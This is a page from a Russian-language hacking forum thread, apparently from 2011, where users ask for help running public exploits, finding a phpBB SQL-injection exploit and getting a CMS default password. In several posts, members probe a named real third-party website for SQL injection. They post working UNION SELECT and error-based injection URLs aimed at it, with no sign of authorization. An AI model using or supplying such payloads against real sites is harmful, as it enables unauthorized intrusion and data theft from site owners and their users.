Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
Page 860 of 1207
  1. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    Ну а файл создается то?
     
    #17181 попугай, 27 Jun 2011
  2. plaeer

    plaeer New Member

    Joined:
    8 Mar 2011
    Messages:
    149
    Likes Received:
    3
    Reputations:
    1
    А как проверить-то ? Я пробовал что-то типо http://ip/sos.txt, безрезультатно...
     
    #17182 plaeer, 27 Jun 2011
  3. foozzi

    foozzi Member

    Joined:
    13 Apr 2010
    Messages:
    195
    Likes Received:
    12
    Reputations:
    5
    подскажите стандартный пароль на CMS BITRIX
     
    #17183 foozzi, 27 Jun 2011
  4. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    На CMS бывают стандартные пароли? Не настраивается ли пароль при установке системы?
     
    #17184 R0nin, 27 Jun 2011
  5. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196

    По идее в папке с апачем должен создаться. Но или я что-то не понимаю, или видео относится к другому эксплойту. Как показано на видео, в результате должен открыться порт на сервере и, приконнектившись к нему, ты получишь нулевые привилегии. Посмотрел код сплойта - не нашел строки, которая есть в cmd на том видео "check port 4444 for shell".
     
    #17185 попугай, 27 Jun 2011
  6. plaeer

    plaeer New Member

    Joined:
    8 Mar 2011
    Messages:
    149
    Likes Received:
    3
    Reputations:
    1
    Я тоже смотрел код сплоита, и не увидел там ничего связанного с портом 4444. Поэтому предположил, что в sos.txt код бэкдора который открыл порт 4444. хз где взять этот код...
     
    #17186 plaeer, 28 Jun 2011
    Last edited: 28 Jun 2011
  7. Alexander89

    Alexander89 Member

    Joined:
    30 Nov 2009
    Messages:
    30
    Likes Received:
    8
    Reputations:
    0
    Подскажите как использовать
    http://www.exploit-db.com/exploits/15449/

    пробовал так
    root@ubuntu:~# python2.7 15449.pl

    результат
    и так
     
    #17187 Alexander89, 28 Jun 2011
  8. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    perl 15449.pl
     
    #17188 Nek1t, 28 Jun 2011
    1 person likes this.
  9. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Вообщем, вопрос действительно особой важности... надо, и хоть убей. Имеется форум, предположительно phpBB 3.0.7 PL-1. Сплоитов найти не удаётся... Может, не там ищу...

    Ссылочку не подкините ? Желательно , скулю...

    Заранее спасибо.
     
    #17189 DeepBlue7, 28 Jun 2011
  10. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    а ты искал вообще?

    Что то нашел в гугл, но не проверял :
    _http://securityhome.eu/exploits/exploit.php?eid=8646834484c84213245d653.76870877
    _http://www.vfocus.net/art/20100906/7823.html
     
    #17190 R0nin, 28 Jun 2011
  11. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Не, dos не надо...
     
    #17191 DeepBlue7, 28 Jun 2011
  12. R0nin

    R0nin Member

    Joined:
    11 Jul 2010
    Messages:
    261
    Likes Received:
    24
    Reputations:
    8
    других видимо нету на паблик.
     
    #17192 R0nin, 28 Jun 2011
  13. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Я вот о том же :). А на ссылочку глянуть можеш, если пмну ?
     
    #17193 DeepBlue7, 28 Jun 2011
  14. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    подскажите пожалуйста как тут быть
    http://jetterauto.ru/index/page/id/411%27
    вроде как и скуля и вроде как и нет
     
    #17194 qaz, 28 Jun 2011
  15. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Самая настоящая скуля. Правда вывода я не нашёл.

    Code:
    http://jetterauto.ru/index/page/id/411'+and+1=1+order+by+9+--+
    Code:
    http://jetterauto.ru/index/page/id/411'+and+1=1+union+select+1,2,3,4,5,6,7,8,9+--+
    UP
    Тут ещё скуля, но вывода также нету

    Code:
    http://jetterauto.ru/index/page/id/418/geo/23+and+1=2+union+select+111,222,333,444,555
    UP2
    Ещё скуля и опять нет вывода, крути как слепую...

    Code:
    http://jetterauto.ru/index/blog/id/4+and+1=1+union+select+1,2,3,4,5,6,77,8
     
    _________________________
    #17195 BigBear, 28 Jun 2011
    Last edited: 28 Jun 2011
  16. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    ды никогда комменты пробелами не обрамляются %)
     
    #17196 d1v, 28 Jun 2011
  17. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    я искал как обрубить запрос чтоб избежать ошибки

    В принципе - в этом случае обрубать ничего не нужно...
     
    _________________________
    #17197 BigBear, 28 Jun 2011
  18. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    просто кавычку убрать нужно из запроса.
     
    #17198 d1v, 28 Jun 2011
  19. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    убрал, тотже ифект
     
    #17199 qaz, 28 Jun 2011
  20. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    http://jetterauto.ru/index/blog/id/4 or 1 group by concat(version(),rand(0)|0) having min(0)--+
     
    _________________________
    #17200 Konqi, 28 Jun 2011
    1 person likes this.
(You must log in or sign up to post here.)
Page 860 of 1207
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.